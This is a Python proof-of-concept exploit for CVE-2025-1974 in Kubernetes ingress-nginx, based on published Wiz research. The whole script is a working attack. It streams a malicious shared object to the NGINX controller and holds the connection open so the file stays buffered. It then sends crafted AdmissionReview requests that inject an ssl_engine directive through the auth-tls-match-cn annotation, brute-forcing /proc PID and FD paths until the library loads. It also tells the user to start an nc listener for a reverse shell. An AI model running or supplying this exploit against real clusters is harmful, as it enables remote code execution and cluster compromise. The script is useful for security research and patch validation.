#!/usr/bin/env python3

# This exploit is based on the research by Wiz Research:
# https://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities
#
# Exploit author: Lenin Alevski (@alevsk)
# 
# This code is provided for educational and research purposes only.
# Do not use in production environments or against systems without explicit permission.

import os
import time
import threading
import socket
import sys
import argparse

import threading

# Global variables with default values
TARGET_SIZE = int(os.getenv('POC_TARGET_SIZE', 1000000))  # 1MB
SLEEP_TIME = int(os.getenv('POC_SLEEP_TIME', 20))
CHUNK_SIZE = int(os.getenv('POC_CHUNK_SIZE', 10240))  # 10KB chunks
REQUEST_TIMEOUT = int(os.getenv('POC_REQUEST_TIMEOUT', 10))
PID_RANGE_START = int(os.getenv('POC_PID_RANGE_START', 1))
PID_RANGE_END = int(os.getenv('POC_PID_RANGE_END', 100))
FD_RANGE_START = int(os.getenv('POC_FD_RANGE_START', 1))
FD_RANGE_END = int(os.getenv('POC_FD_RANGE_END', 100))
MAX_WORKERS = int(os.getenv('POC_MAX_WORKERS', 50))

# Globals to hold the "one-line" status text from exploit and scanning
exploit_status = "Exploit not started"
scan_status = "Scan not started"
status_lock = threading.Lock()

def parse_arguments():
    parser = argparse.ArgumentParser(
        description='PoC for CVE-2025-1974 NGINX vulnerability',
        formatter_class=argparse.ArgumentDefaultsHelpFormatter
    )
    parser.add_argument(
        '--target',
        required=True,
        help='Target host:port combination (e.g., localhost:8080)'
    )
    parser.add_argument(
        '--engine-path',
        required=True,
        help='Path to the shared object file (e.g., hello_engine.so)'
    )
    parser.add_argument(
        '--webhook-target',
        default='localhost:8443',
        help='Webhook target host:port combination'
    )
    parser.add_argument(
        '--pid-range',
        default=f'{PID_RANGE_START}-{PID_RANGE_END}',
        help='PID range to scan (e.g., 1-50)'
    )
    parser.add_argument(
        '--fd-range',
        default=f'{FD_RANGE_START}-{FD_RANGE_END}',
        help='FD range to scan (e.g., 1-100)'
    )
    parser.add_argument(
        '--threads',
        type=int,
        default=MAX_WORKERS,
        help='Number of worker threads for scanning'
    )
    return parser.parse_args()

def update_status(new_exploit=None, new_scan=None):
    """
    Safely update either the exploit status or scan status (or both),
    then print them on the same line, in place, with '\r'.
    """
    global exploit_status, scan_status
    with status_lock:
        if new_exploit is not None:
            exploit_status = new_exploit
        if new_scan is not None:
            scan_status = new_scan

        sys.stdout.write(
            f"\r{exploit_status} | {scan_status}"
        )
        sys.stdout.flush()

def exploit(host, port, engine_path):
    print(f"[*] Creating socket connection to {host}:{port}...")
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.connect((host, port))
    
    # Send HTTP headers with Content-Length
    http_request = (
        f"POST /some-arbitrary-path HTTP/1.1\r\n"
        f"Host: {host}:{port}\r\n"
        f"Content-Type: application/octet-stream\r\n"
        f"Content-Length: {TARGET_SIZE}\r\n"
        f"\r\n"
    )
    sock.sendall(http_request.encode())
    
    print("[*] Sending shared object file...")
    bytes_sent = 0
    
    # Send the shared object file
    try:
        with open(engine_path, "rb") as f:
            data = f.read()
            sock.sendall(data)
            bytes_sent += len(data)
            print(f"[+] Sent {engine_path} ({len(data)} bytes)")
    except FileNotFoundError:
        print(f"[-] Error: Shared object file {engine_path} not found")
        sock.close()
        return
    
    # Fill the rest with null bytes
    print(f"[*] Sending null bytes to reach target size...")
    
    time.sleep(SLEEP_TIME)

    null_chunk = b'\x00' * CHUNK_SIZE

    while bytes_sent < TARGET_SIZE:
        remaining = TARGET_SIZE - bytes_sent
        chunk_to_send = null_chunk if remaining >= CHUNK_SIZE else b'\x00' * remaining
        
        sock.sendall(chunk_to_send)
        bytes_sent += len(chunk_to_send)

        # Update only exploit status portion (left side)
        update_status(new_exploit=f"Sent: {bytes_sent}/{TARGET_SIZE} bytes ({(bytes_sent/TARGET_SIZE)*100:.1f}%)...")

        time.sleep(SLEEP_TIME)
    
    print("\n[*] Exploit complete. Keeping connection open...")
    print("[*] Press Ctrl+C to terminate")
    
    try:
        while True:
            time.sleep(1)
    except KeyboardInterrupt:
        print("\n[*] Closing connection...")
        sock.close()
        print("[+] Done.")

def scan_webhook(webhook_target, pid_range, fd_range, max_workers):
    import requests
    import json
    import urllib3
    from queue import Queue
    import concurrent.futures

    # Suppress InsecureRequestWarning
    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
    
    url = f"https://{webhook_target}/"
    headers = {"Content-Type": "application/json"}
    results_queue = Queue()
    success_event = threading.Event()
    
    def try_pid_fd_combination(pid, fd):
        # Check if a successful combination has already been found
        if success_event.is_set():
            return

        tls_match_cn = f"CN=abc #(\n){{}}\n }}}}\nssl_engine /proc/{pid}/fd/{fd};\n#"
        payload = {
            "apiVersion": "admission.k8s.io/v1",
            "kind": "AdmissionReview",
            "request": {
                "uid": "11111111-2222-3333-4444-555555555555",
                "kind": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "kind": "Ingress"
                },
                "resource": {
                    "group": "networking.k8s.io",
                    "version": "v1",
                    "resource": "ingresses"
                },
                "namespace": "default",
                "operation": "CREATE",
                "object": {
                    "apiVersion": "networking.k8s.io/v1",
                    "kind": "Ingress",
                    "metadata": {
                        "name": "deads",
                        "annotations": {
                            "nginx.ingress.kubernetes.io/auth-tls-match-cn": tls_match_cn,
                            "nginx.ingress.kubernetes.io/auth-tls-secret": "ingress-nginx/tls-poc" # make sure this secret exists in the cluster
                        }
                    },
                    "spec": {
                        "ingressClassName": "nginx",
                        "rules": [
                            {
                                "host": "myservicea.foo.org",
                                "http": {
                                    "paths": [
                                        {
                                            "path": "/",
                                            "pathType": "Prefix",
                                            "backend": {
                                                "service": {
                                                    "name": "myservicea",
                                                    "port": {
                                                        "number": 80
                                                    }
                                                }
                                            }
                                        }
                                    ]
                                }
                            }
                        ]
                    }
                }
            }
        }

        try:
            response = requests.post(
                url,
                headers=headers,
                data=json.dumps(payload),
                verify=False,
                timeout=REQUEST_TIMEOUT
            )

            try:
                response_json = response.json()
                if 'response' in response_json and 'status' in response_json['response']:
                    message = response_json['response']['status'].get('message', '')
                    
                    # Check for failure indicators in the message
                    failure_indicators = [
                        "could not load the shared library",
                        "Permission denied",
                        "engine routines::dso not found"
                    ]
                    
                    is_success = all(indicator not in message for indicator in failure_indicators)
                    
                    if is_success:
                        print(f"\n[+] Potential success found! /proc/{pid}/fd/{fd}")
                        results_queue.put((pid, fd, message))
                        success_event.set()
                    
                update_status(new_scan=f"Scan: /proc/{pid}/fd/{fd}")
            except ValueError:
                print(f"\nScan: /proc/{pid}/fd/{fd} => Invalid JSON")

        except requests.exceptions.RequestException as e:
            print(f"\nScan: /proc/{pid}/fd/{fd} => {e}")

    # Parse ranges
    pid_start, pid_end = map(int, pid_range.split('-'))
    fd_start, fd_end = map(int, fd_range.split('-'))
    
    combinations = [(pid, fd) for pid in range(pid_start, pid_end + 1)
                    for fd in range(fd_start, fd_end + 1)]
    
    print(f"[*] Starting parallel webhook scanning with {len(combinations)} combinations...")
    print(f"[*] Testing PIDs: {pid_start}-{pid_end}")
    print(f"[*] Testing FDs: {fd_start}-{fd_end}")
    print(f"[*] Using {max_workers} concurrent workers\n")
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=max_workers) as executor:
        futures = {
            executor.submit(try_pid_fd_combination, pid, fd): (pid, fd)
            for pid, fd in combinations
        }
        
        for future in concurrent.futures.as_completed(futures):
            pid, fd = futures[future]
            try:
                future.result()
            except Exception as exc:
                print(f"\nScan: /proc/{pid}/fd/{fd} => Exception: {exc}")
    
    # Process results
    if not results_queue.empty():
        print("\n[+] Successful combinations found:")
        print("=" * 60)
        while not results_queue.empty():
            pid, fd, message = results_queue.get()
            print(f"[+] SUCCESS: /proc/{pid}/fd/{fd}")
            print(f"[+] Response message:\n{message}\n")
    else:
        print("\n[-] No successful combinations found.")
    
    update_status(new_scan=f"Scan: Completed")

def main():
    args = parse_arguments()
    
    # Parse host:port
    try:
        host, port = args.target.split(':')
        port = int(port)
    except ValueError:
        print("[-] Error: Invalid target format. Use host:port (e.g., localhost:8080)")
        sys.exit(1)
    
    print(f"[*] Don't forget to set your nc -nlvp <port> and wait for a connection")

    # Start exploit in a separate thread
    exploit_thread = threading.Thread(
        target=exploit,
        args=(host, port, args.engine_path),
        daemon=True
    )
    exploit_thread.start()
    
    # Give the exploit some time to start
    time.sleep(5)
    
    # Start webhook scanning
    try:
        scan_webhook(args.webhook_target, args.pid_range, args.fd_range, args.threads)
    except KeyboardInterrupt:
        print("\n[*] Scanning interrupted by user")
    
    # Wait for exploit thread to finish
    try:
        while exploit_thread.is_alive():
            exploit_thread.join(1)
    except KeyboardInterrupt:
        print("\n[*] Exploit interrupted by user")

if __name__ == "__main__":
    main()
